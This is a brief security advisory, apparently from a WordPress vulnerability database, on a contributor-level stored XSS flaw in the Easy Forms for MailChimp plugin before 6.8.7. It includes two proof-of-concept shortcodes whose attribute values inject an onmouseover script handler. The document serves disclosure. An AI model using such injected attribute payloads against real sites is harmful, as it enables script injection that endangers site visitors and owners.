Easy Forms for MailChimp < 6.8.7 - Contributor+ Stored XSS

2023-03-2700:00:00

wpvulndb

mailchimp

stored xss

contributor

shortcodes

exploit

security vulnerability

0.001 Low

EPSS

Percentile

23.6%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

As a contributor, put the below shortcodes in a post, preview it and move the mouse over the generated subscribe form to trigger the XSS

[yikes-mailchimp-unsubscribe list='"onmouseover=alert(/XSS-list/)//']

[yikes-mailchimp-unsubscribe list='-1' email_placeholder='"onmouseover=alert(/XSS-email_placeholder/)//']

0.001 Low

EPSS

Percentile

23.6%

JSON

Related for WPEX-ID:5F37CBF3-2388-4582-876C-6A7B0943C2A7